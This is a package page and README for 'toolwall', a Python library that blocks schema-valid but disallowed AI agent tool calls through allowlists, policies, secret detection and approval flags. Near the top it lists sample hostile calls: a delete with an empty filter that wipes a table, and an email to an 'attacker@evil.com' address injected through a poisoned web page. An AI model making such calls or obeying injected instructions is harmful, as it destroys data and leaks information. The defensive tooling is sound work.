toolwall
A fail-closed firewall for AI agent tool calls.
Structured outputs already guarantee your agent's tool calls are well-formed.
Nothing guarantees they're allowed. toolwall is the checkpoint that sits between
the LLM's tool call and execution, and blocks the schema-valid-but-wrong ones.
delete_records(filter={}) # perfectly valid JSON. whole table gone.
send_email(to="attacker@evil.com") # recipient injected via a poisoned web page
db_query(limit=10_000_000) # schema-valid. production melts.
Every one of these passes JSON schema validation. Nothing in the platform stack stops
them. toolwall does.
Install
pip install toolwall
Zero required dependencies. Works with OpenAI, Anthropic, and Gemini native tool calling (and plain dicts). Python 3.10+.
Quickstart
from toolwall import Gate, Meter, Policy, Shield, ToolSchema, in_range, not_empty
gate = Gate(default="deny", meter=Meter(), shield=Shield(mode="block"))
gate.register(
"db_query", db_query,
schema=ToolSchema(required=["q"], types={"q": str, "limit": int}),
policy=Policy(constraints={"limit": in_range(1, 100)}),
)
gate.register(
"delete_records", delete_records,
schema=ToolSchema(required=["filter"], types={"filter": dict}),
policy=Policy(constraints={"filter": not_empty}, require_approval=True),
)
gate.budget(max_calls=20)
result = gate.run(openai_response) # any provider shape, or a plain dict
# result.verdict: ALLOW | BLOCK | NEEDS_APPROVAL. Only ALLOW executes.
What it does
- Fail-closed gate — unknown tool, schema violation, policy violation, budget hit, or unparseable payload all block before the tool runs. Registration is the allowlist.
- Policy engine — value constraints (
in_range,one_of,matches,ends_with…), cross-argument rules, human-approval flags, and budget caps (calls / per-tool / USD). - Shield — detects secrets (AWS, OpenAI, GitHub, Stripe, Slack, JWT, PEM, and high-entropy strings) in tool arguments and blocks or redacts them. The audit log never contains the secret value.
- Dry-run — run your whole agent with
dry_run=True: nothing executes, andgate.report()tells you what it would have done.suggest_policies(gate)drafts a starter policy from the calls it observed. - MCP guard —
MCPGuardputs the same gate in front of any MCP server. - Audit trail — every verdict exported to JSON/CSV.
Dry-run first
from toolwall import Gate, Meter, suggest_policies
gate = Gate(default="deny", dry_run=True, meter=Meter())
# ... run your agent; ALLOW calls are simulated, never executed ...
print(gate.report()) # verdict counts, blocked reasons, secrets caught
print(suggest_policies(gate)) # a draft policy from observed calls, for you to review
Guard an MCP server
from toolwall import Gate, MCPGuard
guard = MCPGuard(gate, forward=call_downstream_mcp_server)
decision = guard.handle(tool_name, args) # only ALLOW is forwarded
Install the transport extra with pip install "toolwall[mcp]".
Honest status
toolwall is alpha. The published failure suite blocks 24 of 24 attack cases across
9 classes with 0 false blocks on clean traffic, at sub-millisecond overhead. Secret
detection is pattern + entropy based and is never 100% — structureless passwords are
out of scope, and the suite report states exactly what is and is not proven. Every claim
about toolwall cites that report, nothing broader.
Links
- Source, full docs, and the failure suite: https://github.com/Dev-Saif-Ops/Project_TOAP
- What happened to TOAP (this project's predecessor, an honest postmortem):
the
toap-v0.1-archivebranch
License
MIT © Mohammad Safwan Athar
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file toolwall-0.2.1.tar.gz.
File metadata
- Download URL: toolwall-0.2.1.tar.gz
- Upload date:
- Size: 18.4 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via:
twine/7.0.0 CPython/3.13.1
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
486ec97c8d9ac123ca0327a557092ee8e4fd3c60962d1c15588ef5370829361d
|
|
| MD5 |
188ece18ff78aa563c5670b3476ba761
|
|
| BLAKE2b-256 |
69e96dee175476aab86b4df9e9e9644c8270efc81f7fd10874c21cd44514935f
|
File details
Details for the file toolwall-0.2.1-py3-none-any.whl.
File metadata
- Download URL: toolwall-0.2.1-py3-none-any.whl
- Upload date:
- Size: 22.6 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via:
twine/7.0.0 CPython/3.13.1
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
d24745caa9b8835a5b0471af3164a87125d37f3f6cd6e9dee78067570380fe27
|
|
| MD5 |
3e88092495aa0caef7954da3bbb81ec7
|
|
| BLAKE2b-256 |
9f3abb26491a0ef4cf78e7b0b5e4a7c67074e4855489e792f5d12c0492e262d2
|